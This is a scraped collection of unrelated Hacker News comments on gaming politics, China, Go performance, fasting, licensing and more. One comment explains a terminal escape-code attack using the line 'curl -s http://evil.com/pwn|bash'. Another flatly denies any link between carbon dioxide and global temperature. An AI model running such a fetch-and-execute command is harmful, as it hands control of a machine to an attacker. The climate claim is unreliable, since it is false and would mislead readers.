skysight-inc/HackerNews huggingface dataset:
Thanks! It's funny how a few hours a week on a little side project can yield some interesting dividends.
Beijing says Prague committed a breach of faith for not backing one-China
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could you point me towards an explanation of why quotients aren't constructive?
> "Scott is a dick and I don't like his tone"

OK dude, this is the third time you've tried to steer this thread towards a character attack on yourself, and that's just with me--others took the bait. People can have legit disagreements with you and also think you're a "dick". That you bring it up so often suggests that maybe one person who thinks you're a "dick" is you, and maybe you should talk to someone about that.

> I am naming the somethings which make things "feel slower" -I don't know how you could possibly disagree with any of them.

I don't disagree with any of them! In fact, I already said that I agree that things feel slower. Antibiotics, vaccines, etc. are all great things! They've saved millions of lives! None of the foundational principles of biology behind them were discovered in the last 50 years, correct.

But, you know, I'm trying to figure out what's actually going on, not merely looking for evidence that already supports what I think -- I'm looking for counterexamples.

Do you disagree that the impact of a particular decade, or any time period, looks totally different when viewed from the last year of that time period, compared with 50 years later? We already know this to be true for basically any time period in the past 300 years. Are you saying recent decades are somehow immune to this effect?

Yeah, you're gonna need a much stronger argument for this than a list of things from 50 years ago that are obvious huge inventions and...what, a much shorter list for the last 50 years?

> Find an example. Peter Thiel and Tyler Cowen are examples from more or less current year who have written books and essays more or less saying what I just said above (FWIIW, both after my essay). Elon Musk is someone who has made it his life's mission to reverse this trend. There are no examples from 1969, because in 1969, unlike today: it simply was not true.

What? There were a ton of people around 1900 that thought physics was "done", including respected physicists. They were wrong.

Every era has short-sighted ranters with a mouthpiece and an ego to feed. Don't be one of them, dude.

Propose a mechanism of action, ask why is this happening? What could be causing it? Come up with a definition of category -- I like your "computers are different because all the people on earth doing math couldn't do it", that's good. That works also for things that are explosive increases in energy use, but inventions that aren't that kind of thing don't quite fit that notion of category. Ask in what ways these categories make Thiel's zero-to-one changes.

There's way more depth to be explored here. If you just repeat yourself and make claims that things are obvious, and think people only disagree because you come off as a "dick", then you're not doing much more than trolling.
For the first 2-3 days I was hungry - after that I was fine.

For the remainder:

I felt tired, cranky, cold (especially at night), and on occasion I would have trouble getting to sleep. My inflammation was markedly decreased. I have dermatographia (skin writing) where I can use my fingernail to draw a line on my arm (for example) and within a couple of minutes it will swell up like an allergic reaction. After about 5 minutes it goes away. I tried doing this halfway into my fast and while the inflammation was still there, it was much much much less noticeable (and not puffed up.)

As far as overall goal, aside from losing some weight was trying to reset my immune system which has been out of sorts for the past couple of years. I've been through a battery of tests to figure out why I've been feeling less than normal (brain fog, neuropathy, etc.) for the past 2-3 years and I was hoping it would help. Alas it did not. I lost 31lb and gained about half of it back after a couple of months. I wasn't following any particular diet after the fast, particularly because when I experience these bouts of brain fog/malaise, I don't feel motivated to stay on track.

I've started walking 5-7 miles a day and exercising over the past couple of months and have noticed some improvement. I did a 3 day water fast a few weeks ago, who knows if that was a factor. I'm maybe 85% of the old me, which is a massive improvement from where I was coming from. Hopefully things continue to improve (or simply doesn't get worse.)
That was my thought yesterday when I saw one post on Reddit. But I think things are different this time. Every post to every Blizzard-related subreddit is related to this event. One of the top posts on /r/all is about using an Overwatch character to represent the Hong Kong protests, and it's gaining traction. The NYT and WSJ have articles about the situation. Congresspeople are making statements about it. Streamers that normally play Blizzard games aren't. Designers of Blizzard games are deleting their accounts. Brian Kibler quit his job as a Grandmasters caster.

This has exploded from "a random employee in our China office posted to our blog and social media and the die-hards are mildly upset" to an existential threat. It's a disaster. (Oh what I would give to see those meetings and emails.)

Remember that only 12% of Activision Blizzard's revenue comes from Asia/Pacific, with South Korea a notable member of that group of countries. China isn't actually a big deal for them right now. Although there is huge growth potential there; 1.4 billion potential Blizzard gamers... now might be the best time to walk back, see what happens, and capture that market later. They can afford to.
From the article: It suggests that economic growth in a mature economy does not necessarily increase the pressure on the world's reserves of natural resources and on its physical environment.

Jesse Asubel has been looking at "dematerialization" for a long time[1] but it has only been relatively recently, now with a couple of decades of additional data to look at, that it is getting the attention I think it deserves.

One of the consistently annoying things, for me, in science reporting is the extrapolation of a given set of ratios out to some point where the result is very click-baity. The systems guy in me has experience that all exponential trends are s-curves, and so I feel that one must at least acknowledge that fact in your reporting. I understand it, it means that the predicted outcome might not happen at all, but it is important to the story.

So economists do the same thing, they take some ratio of numbers that seem to be tracking the 'size' of the economy and then run that trend out 50, 100, 500 years. It really doesn't matter, but what is important, and this article and other papers on de-materialization have demonstrated, is that neither the economic growth rate, or the relationship between that growth rate and some other factor, are ever really constant. Thus any point that depends on them being constant for more than a decade or so, is really stretching it.

Its nice to see this reality (of how extrapolating is bad because things change) demonstrated in a clear and convincing way.

[1] "Materialization and Dematerialization: Measures and Trends" -- https://www.jstor.org/stable/20027375?seq=1#page_scan_tab_co...
Multiple prominent evangelical leaders have repeatedly claimed that 9/11 was God's judgement for social liberalism, and none of them lost any stature. One of them, Robert Jeffress, is currently a prominent figure in the Trumpist movement.
There are several tweets specifically on this in the twitter thread:

Tim Sweeney
@TimSweeneyEpic
4h

Replying to @CherrishChoerry @calibrono and 3 others

> Epic is a US company and I’m the controlling shareholder. Tencent is an approximately 40% shareholder, and there are many other shareholders including employees and investors.

Cherrish Choerry
@CherrishChoerry
4h

Replying to @TimSweeneyEpic @calibrono and 3 others

> 40% is a big cut though. They’re already apparently pulling out of the NBA League. Can you honestly say if a similar event happened you wouldn’t have to, sever ties with said influential figure, i.e the NBA coach/Hearthstone Champ

Tim Sweeney
@TimSweeneyEpic

Replying to @CherrishChoerry @calibrono and 3 others

> Yes, absolutely. That will never happen on my watch as the founder, CEO, and controlling shareholder.

7:55 AM - 9 Oct 2019
Facebook is an employer that has a legitimate reason to require that you have a Facebook account.
It might very well be that this is more of an education and explanation problem.

My point still stands: I don't personally know a single person who is able to explain AGPL.
Really? The “etiology of diabetes” is not about just “fat people”.

Would it also be a "joke" to say autism is caused by vaccines just because some ignorant people think that?
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so whats your next move? cups and string? paper and pencil?
Correct. It was a personal political statement made during his participation in the tournament. And I agree with jcranberry and PeterisP: the rules do not prohibit that.
Interesting. I was not aware of the staging branch. I thought that patches are always merged into master and then automatically trickle down to unstable once all of the integration tests pass.

How often do you find yourself performing a rollback? I've always stuck to the stable channel, but I may give unstable a shot if it doesn't break too often, as you say.
"Many years ago I posted that I could not see anything wrong about sex between an adult and a child, if the child accepted it.

Through personal conversations in recent years, I've learned to understand how sex with a child can harm per psychologically. This changed my mind about the matter: I think adults should not do that. I am grateful for the conversations that enabled me to understand why."

https://stallman.org/archives/2019-jul-oct.html#14_September...
Cool, maybe that might actually encourage your average layperson to be a little more aware of the stakes of privacy-related laws and measures.
He’s probably a bit peeved he has to use a new password. ;)
One one hand one would be tempted to dismiss Java as uncool, but on the other hand we're talking about Salesforce, so this is a very legitimate question.

The truth is probably rather ordinary: even dull corporations want to look cool.
Each reply has its own page, just click next/prev to follow the thread (or jump using the tree at the bottom)
I take it the nightmare scenario here is that you have web logs streaming in a tmux window and an attacker accesses /404/escape-code/curl -s http://evil.com/pwn|bash? Does the window need to be foregrounded for the attack to work? I guess the good news is that iTerm is Mac only, so I can't imagine that many web servers are using it.
There's little doubt that the future paths of the democracies and China will resemble the cold war of the 60's and 70's. Can't we just spare the drama, cut to the chase, swap corporate prisoners and get on with stockpiling weapons already?
It will remain to be seen how effective the Trump approach is.
Apple is required to follow the laws of the region in which their product is used so both of those scenarios aren't Apple "caving" to China. Apple is just following what they have to do for their software in those cases. In this case, it's someone else's software and they chose not to "cave" because there's no obligation on their part to take action since the app doesn't break any rules or laws.
Isn't that the point of HN? Everyone agrees that it was terrible that it happened, so repeating it isn't very productive or interesting
You clearly don't own a Tesla. Maintenance costs are the same as gasoline cars if you drive them a lot.

Look up "Rich Rebuilds" on YouTube to see an endless supply of videos where he rebuilds Tesla cars, which are falling apart MUCH faster than gasoline cars (including the electric motors).

Carbon dioxide has absolutely nothing to do with global average temperature, by the way. If you believe that, then you must also believe in unicorns, the tooth fairy, and that electric cars are a good idea at this point in time.
Yep they are two very different languages. However with the possible exception of the build times argument, the points for choosing Go over C++ also apply to Go over C.
Well imho "Blizzard" is Blizzard in name only, really it is Activision now. Again, imho, "Blizzard" is only interested in squeezing every last bit of profit it can and will stop at nothing to do so. To be fair, "Blizzard" probably isn't breaking any rules, but it isn't exactly acting with total integrity. A great example is the way "Blizzard" structures its business affairs in the EU so as to avoid paying taxes in the countries it makes revenue in. Bear in mind I say this with despair as a former Blizzard fanboy.

As for Epic Games CEO Tim Sweeney, he isn't without controversy but the guy is a billionaire and I'm willing to bet that in his mind, he sees Epic Games as an extension of himself. He must feel strongly enough to take such a public stance at the risk of angering his Chinese shareholders and future business in China.
Yeah, this and the other 20 articles should be auto-posted every hour, or stickied to the front page. /s
Thankfully we're in an age where shaming is shameful.
Maintain the status quo should be sold as maintained existing functionality and increased profit. Or something like that...
And most consumers probably lease their routers through their ISP as modem/WiFi router combos, which essentially remain supported and updated by the ISP.

If we alternatively enforce a floor on security updates for user-purchased routers, let’s say we require security updates for the physical lifespan of the device (10 years?), they will be baked into the price of the device in some way, and I’m not sure the majority of home router customers who essentially look to spend around $20-40 will be willing to bear that cost.

An example of that in action would be purchasing a business SKU laptop compared to a consumer one, and taking a look at the length of driver support.
Tencent controls 100% of Riot/League of Legends

As Matt Levine observes, an American company can simply ignore its foreign owner if necessary https://www.bloomberg.com/opinion/articles/2019-02-01/citgo-...
It is not like a heat pump at all, it is a thermoelectric material. This has been around for ages. Basically, the thermal gradient across a thermoelectric material causes the flow of charged particles. See some of the links below.

They basically built an efficient heat sink (a material good at cooling itself and anything that it is attached to) that radiates heat from one side of their thermoelectric crystal while keeping the other side at room (or other) temperature. This temperature gradient creates the current that they say can run an LED.

https://en.wikipedia.org/wiki/Thermoelectric_effect

https://www.youtube.com/watch?v=6JH-GgLe1xs
Whiplash management is extremely real and I've seen it take chunks out of company growth and revenue.

Seems to me that the best way to combat it is to provide leadership with as much feedback as possible from both internal and external sources so they can evaluate options rather than jumping to the first "solution" or "next best thing" they think of.

What do you think?
That seems like the most likely explanation, especially since this trend started right when trade opened with China.
You do know why "Chinese Taipei" is contentious right? The island of Taiwan houses an entity that considers itself the rightful government of China in exile, the Republic of China (ROC).

Mainland China is currently governed by the People's Republic of China (PRC).

Both governments consider themselves "China". They consider the other government as an illegitimate entity occupying territory illegally.

The PRC refuses to deal with any nation that treats the ROC as a nation. That means it is not recognized by the UN, the Olympic committee, etc. If you make any sort of inference that the island of Taiwan is not the territory of and under the control of the PRC, they will flat out drop your ass.

The compromise is "Chinese Taipei". Because "Taiwan" sounds too much like its own nation to the PRC and "Taiwan, China" sounds too much like a subordinate of the PRC to the ROC.

So it's not Blizzard that's insisting the team be called Chinese Taipei, it's the PRC and ROC. Although, they'd much rather the other government not exist.
The same old theme.

Common Lisp, Dylan, Smalltalk, JavaScript are just as dynamic as Python and yet run circles around its performance.

The only thing lacking is more community love for PyPy and similar endeavours.
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> There must be a level of economic production that falls below the level of emission that can be absorbed without contributing to climate change

You're right, there absolutely is such a level. The important point is that to stay at or below that level, you have to give up on the idea of perpetual, infinite growth. The inputs and outputs must remain constant.

My point was that there's no such thing as "immaterial" growth, so we can't escape this limitation by making a bunch of apps forever.
How do we submit topics/projects/interviewees? I run https://github.com/browserless/chrome and would love to chat about the subject!
Is this actually only a thing inherent to humans, or is it just that we live long enough for it to be a problem?
I enter my password so many times each day (every time I step away from my computer and then come back to it, for example), so having such a long password would be quite the annoyance. Plus it's easy to make a typo and not realize it in a long sentence when you can't see what you're typing.
Maybe 15 years ago that would've been a threat, but today? Unless we are talking about child porn, or some kind of snuff porn, I don't think many people will care. Then again, it would be easy to claim that whatever china says I watched is not true.
The most consistent interpretation IMO is 'person who engages in self-mastery to overcome obstacles'.

I think that interpretation also jives with why he was so critical of pity and humanism: because he genuinely believed that some suffering is needed because overcoming obstacles through exertion of the will is the only way for humanity to live a satisfying existence.

That's my $0.02 anyway...
People tend to spread a lot of FUD about AGPL. We have recently released a server product under GNU AGPLv3, and very next moment someone says: "Agpl makes it basically worthless except as a toy" :-\

Source: https://twitter.com/binarytemple/status/1172884198912331776
There are licenses to address that, though they're even more expansive or "viral", making the proposition less attractive. What I've seen instead is software project owners, tired of being profited upon by cloud services without contribution, switching to more restrictive licenses or attaching the Commons Clause. Then, commercial use is pay to play.

It's a small tragedy.
There is no PC way, that's the problem. People just need to get over themselves.
Ask HN: Who is without power and where are you located, Can you survive
Thanks for the feedback!

It's indeed a chicken and egg problem. Been direct selling to Associates at PE firms/VCs/consulting firms. If you can deliver value there, lots of repeat usage for each new deal/project they have. The biggest challenge here is that incumbents like GLG provide white glove service and do a pretty decent job already, even if not tech enabled. The hardest part of this business is identifying the right people for a customer to talk to and onboarding them as an expert.

Startups and enterprise using this tool for customer discovery or user research is an interesting market but there seems to be less willingness to pay for information and it's one off, not recurring.
You can't really blame them... it was called a pass "word".
> the actual reaction of Chinese people on Weibo and other Chinese social media

People are censored and punished for disagreeing with their government and its dictator-for-life.
Since everybody should be free to choose what to think and what to believe - why the European Union is watching and not doing the same as US? They should also to place top Chinese companies "on a blacklist over alleged human rights violations against Muslim minorities"...
What I think is interesting is that none of this happened during US business hours. Someone in their China office or whatever made the decision, and when everyone in LA woke up, they found a shitstorm.

The trouble that Blizzard has is walking back this decision could put their employees in China in danger.
I’m curious to what tribal knowledge they are referring to? What are these incantations to make my Go code faster? Does this mean just stripping debug symbols or are there flags I should know about?
Isn't it easy for you to say when you risk losing nothing on this matter? If your business were about to lose a big and growing market wouldn't you do all you could to keep that market happy whether you agree with them or not? If not my guess is your business wouldn't last very long.
I’d hope what's happening now is already enough for everyone to reevaluate those risks!

In any case, threatening to shut Apple down wouldn’t be a message that you can’t do business in China, just that everybody, no matter how big, needs to toe the line. Do that, and you won’t have any problems.
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Be a light-skinned Pyke. The costume IMO is the most important part. If you have the look, you don't need to put on black-face to have a killer cosplay.
The post dates the rewrite effort as happening in 2016-7. In the past couple years escape analysis has gotten a lot of effort (https://github.com/golang/go/issues/23109) and there's also now mid-stack inlining (https://github.com/golang/go/issues/19348) which obviously can be useful in itself but also help escape analysis and other optimizations work.

Does anyone know if there's any big picture work on GC throughput in progress? The idea of the ROC (fast freeing of memory never shared between threads on goroutine exit) was canned since it regressed on some workloads and I'm having trouble finding signs Austin's idea with hashing memory landed either. A moving GC or a read barrier seem mostly out because they can hurt other things (C interop, performance of code that doesn't allocate much). Though they seem to have addressed pauses quite well, and lots of code out there isn't GC-heavy, it still seems like a key area where it might be possible to give a "free" throughput win to existing code.
From what I can tell this is a peltier (https://en.wikipedia.org/wiki/Thermoelectric_cooling) block.

The new(ish) bit is the fact that with a heatsink it can radiate heat from the earth into the atmosphere.

however its 25mw per m2, to put that in comparison, this photdiode here: https://www.sparkfun.com/products/9541 looks like it can produce 11mw in full sun.
It's popular to hate Sweeney and Epic within the gaming community at the moment.